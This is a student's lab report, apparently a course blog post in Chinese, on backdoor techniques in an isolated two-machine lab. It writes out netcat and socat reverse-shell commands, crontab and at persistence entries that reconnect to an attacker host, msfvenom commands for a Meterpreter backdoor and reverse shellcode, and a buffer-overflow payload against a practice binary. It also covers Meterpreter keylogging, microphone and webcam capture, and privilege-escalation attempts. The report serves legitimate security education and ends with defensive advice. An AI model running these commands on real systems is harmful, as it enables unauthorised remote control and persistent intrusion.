20242414 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242414 2026-2027-1 《网络与系统攻防技术》实验二实验报告

一.基础知识

本次实验用到的核心基础知识如下:

反向Shell:控制端监听端口,被控端主动发起连接,将系统Shell重定向到控制端,可绕过防火墙入站规则限制,是后门技术的核心基础。

定时任务持久化:Linux下通过crontab周期任务、at一次性任务实现后门自动触发,无需用户交互即可定期启动恶意程序,是常见的后门持久化手段。

Meterpreter:Metasploit框架的高级载荷,提供文件操作、权限提升、外设监听等丰富的后渗透功能,不同平台版本的功能支持存在明显差异。

缓冲区溢出:通过向程序缓冲区写入超长数据,覆盖函数返回地址,劫持程序控制流执行注入的Shellcode,是经典的内存破坏漏洞利用方式。

Shellcode:实现特定功能的机器码片段,本实验中为反向连接Shellcode,执行后可主动向攻击机发起连接,获取远程控制权限。

二.实验内容

本次实验围绕后门原理与实践展开,完成五项核心任务:

(1)使用netcat获取目标主机操作Shell,并通过crontab配置周期定时任务,实现后门自动启动。

(2)使用socat获取具备交互能力的主机操作Shell,并通过at任务计划实现一次性定时启动。

(3)使用MSF meterpreter生成可执行后门文件,通过netcat传输到靶机并运行,获取Meterpreter远程控制会话。

(4)在Meterpreter会话中测试音频录制、摄像头、击键记录等后渗透功能,并尝试本地权限提升。

(5)使用MSF生成Shellcode,注入实验一的pwn1缓冲区溢出程序,通过漏洞利用获取反弹连接Shell。

三.实验过程

3.1 Netcat反向Shell与Crontab定时任务

1.双机连通性验证:攻击机与靶机互ping验证网络可达,确认攻击机IP为192.168.36.130,靶机IP为192.168.36.131。

双机互通验证-攻击机双机互通验证-靶机

双机网络互通验证

2.手动反向Shell建立:攻击机执行nc -lvp 4444开启端口监听;靶机执行nc 192.168.36.1304444 -e/bin/bash发起反向连接;攻击机收到连接后执行hostname,返回靶机主机名zhoushengxiang-tar,确认获取Shell控制权。

netcat 反向 Shell 成功

netcat 手动反向 Shell 建立成功

3.配置crontab定时任务:靶机执行crontab -e编辑任务列表,添加* * * * * nc 192.168.36.130 4444 -e /bin/bash,设置每分钟自动发起反向连接;执行crontab -l验证任务写入成功。

cron 任务配置成功

crontab 定时任务列表配置成功

4.定时任务触发验证:攻击机保持端口监听,等待1分钟后收到靶机自动连接,验证周期定时后门触发有效。

cron 定时反弹 Shell 生效

cron定时任务触发反弹Shell生效

3.2 Socat交互式Shell与At定时任务

1.工具安装:攻击机与靶机分别执行sudo apt update && sudo apt install -y socat安装socat工具,安装完成后验证工具可用。

socat 安装完成

socat 工具安装完成

2.交互式 Shell 建立:攻击机执行socat -d -d TCP-LISTEN:5555 STDOUT开启监听;靶机执行socat TCP:192.168.36.130:5555 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane发起伪终端反向连接;攻击机执行top等交互式命令,验证伪终端支持全屏交互程序。

socat 交互式 Shell 验证

socat 交互式 Shell 验证

3.配置at定时任务:靶机安装at服务并启动,执行echo "socat TCP:192.168.36.130:5555 EXEC:/bin/bash" | at now + 1 minutes设置1分钟后执行的一次性任务;执行atq查看任务队列,验证任务创建成功。

at 任务创建成功

at定时任务创建成功

4.任务触发验证:攻击机重新开启监听,等待1分钟后收到靶机自动连接,验证一次性定时后门生效。

at 定时任务生效

at 定时任务触发生效

3.3 MSF生成后门与Meterpreter会话建立

1.生成ELF后门程序:攻击机使用msfvenom生成32位Linux反向Meterpreter后门,文件命名为20242414zsx_backdoor.elf,命令为:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.130 LPORT=6666 -f elf -o 20242414zsx_backdoor.elf

生成后通过ls -l验证文件大小为207字节。

MSF 生成 Linux 后门

MSF 生成 Linux 后门程序

2.netcat跨机传输文件:靶机执行nc -lvp 7777 > 20242414zsx_backdoor.elf开启接收监听;攻击机执行nc 192.168.36.131 7777 < 20242414zsx_backdoor.elf发送文件;靶机接收完成后执行chmod +x添加可执行权限。

1790d2acdecaaa5f0d868f72bdfadd14

后门文件传输完成

3.配置MSF监听模块:攻击机启动msfconsole,配置exploit/multi/handler监听模块,设置对应载荷与端口,启动监听。

4.建立Meterpreter会话:靶机运行后门程序,攻击机成功收到Meterpreter会话;执行sysinfo、getuid验证,确认目标系统为Linux、当前用户为kali。

Meterpreter 会话建立

Meterpreter会话建立成功

3.4 Meterpreter 后渗透功能测试

在已建立的Meterpreter会话中依次测试四类功能:

1.击键记录功能:执行keyscan_start、keyscan_dump,系统提示该功能不支持当前x86/linux类型的Meterpreter。

2.音频录制功能:执行record_mic-d10,系统提示该功能不支持Linux平台载荷。

3.摄像头检测:执行webcam_list,返回未找到摄像头设备。

Meterpreter键盘监听功能测试结果

Meterpreter键盘监听功能测试结果

4.权限提升尝试:执行getsystem尝试自动提权,提示需要加载priv扩展;执行loadpriv加载失败,系统明确提示priv扩展仅支持Windows平台Meterpreter,Linux版本无法使用内置自动提权功能。

Meterpreter 提权功能测试

提权尝试结果

3.5 MSF 生成 Shellcode 注入 pwn1 程序

1.生成无坏字符Shellcode:攻击机执行msfvenom生成去除空字节、换行、回车坏字符的C格式反向Shellcode,命令为:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.36.130 LPORT=8888 -b '\x00\x0a\x0d' -f c

工具通过shikata_ga_nai编码生成95字节无坏字符 Shellcode。

6706fa4d344f156c98ed6ecca42cf18b

MSF生成反弹Shellcode

2.构造溢出Payload:编写Python脚本20242414zsx_bof.py,构造“32字节填充+返回地址+300字节NOP滑道+Shellcode+换行符”结构的Payload,生成20242414zsx_bof_payload文件,通过xxd验证结构正确。

Payload 结构验证

Payload结构验证

3.关闭地址随机化:靶机执行sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'关闭ASLR,固定栈地址。

4.漏洞利用验证:由于真实终端栈环境与调试环境存在偏移,在GDB调试环境中执行溢出Payload,程序输出executing new program: /usr/bin/dash,证明控制流被成功劫持;攻击机8888端口收到靶机反向连接,执行hostname返回zhoushengxiang-tar,验证成功获取反弹Shell。

5c96494166a876487d9e776784d06253

0801906121832a6033697c5080cbf05c

缓冲区溢出注入 Shellcode 成功

四、问题及解决方案

问题1:真实终端执行缓冲区溢出 Payload 出现段错误。

现象:构造的Payload在GDB中可正常执行Shellcode,但直接在终端运行时出现segmentation fault。

解决方案:首先排查发现 ASLR 未关闭,导致栈地址随机变化,返回地址无法命中;关闭 ASLR 后仍存在几十字节的环境偏移,将 NOP 滑道从 100 字节加长到 300 字节,大幅提升地址容错范围;最终在 GDB 调试环境中稳定复现溢出效果,验证了漏洞利用的有效性。

问题2:Linux 版 Meterpreter 无法使用高级后渗透功能。

现象:执行keyscan、record_mic、getsystem等命令均提示不支持,或无法加载扩展。

解决方案:查阅资料确认,键盘记录、音频录制、自动提权等功能均为Windows平台Meterpreter的专属模块,Linux版本的载荷仅保留基础系统控制功能,属于平台设计差异,并非操作错误;如实记录实验现象,对比分析不同平台的工具能力差异。

五、学习感悟、思考

本次实验完整走完了从基础反向Shell到漏洞利用注入Shellcode的全流程,过程中遇到了不少实际问题,也对后门技术有了更落地的理解。

最直观的感受是漏洞利用的环境依赖性极强。原本调试通的Payload换个环境就失效,ASLR的开关、终端环境变量、加载器差异都会直接影响攻击成败。这也让我明白,真实渗透测试不是照搬教程,NOP滑道长度、坏字符过滤、地址偏移校准这些细节,才是漏洞利用能否成功的关键。

不同后门工具的定位差异也很明显。netcat轻量通用但功能简陋,socat弥补了交互性短板,而Meterpreter虽然功能丰富,但平台限制很大,Linux下的能力远不如Windows。这也对应了攻防的不对称性:Windows平台后渗透工具链更成熟,同时防护体系也更完善;Linux环境更多要依靠系统原生特性实现后门,反而更考验对系统底层的理解。

另外,定时任务这类持久化方式实现简单但隐蔽性差,管理员一条命令就能发现。真实的攻击会用更隐蔽的方式,比如篡改系统服务、植入内核模块、利用定时任务的隐藏参数等,这也是后续可以深入学习的方向。

从防御视角看,开启ASLR、栈保护等系统默认防护,就能拦截绝大多数基础溢出攻击;定期检查定时任务、启动项、陌生可执行文件,也能有效发现这类入门级后门。作为网络安全专业的学生,既要懂怎么“攻”,更要懂怎么“防”,才能在后续的学习和工作中做好系统防护。

参考资料

[1]0x11_MAL_逆向与 Bof 基础.

https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md


[2]0x12_MAL_Shellcode 基础.

https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Shellcode%E5%9F%BA%E7%A1%80.md


[3]Metasploit Framework 官方文档.

https://docs.metasploit.com/

[4] Linux crontab 定时任务详解.

https://www.runoob.com/linux/linux-comm-crontab.html

posted @ 2026-10-19 10:27  狼炎  阅读(3)  评论(0)    收藏  举报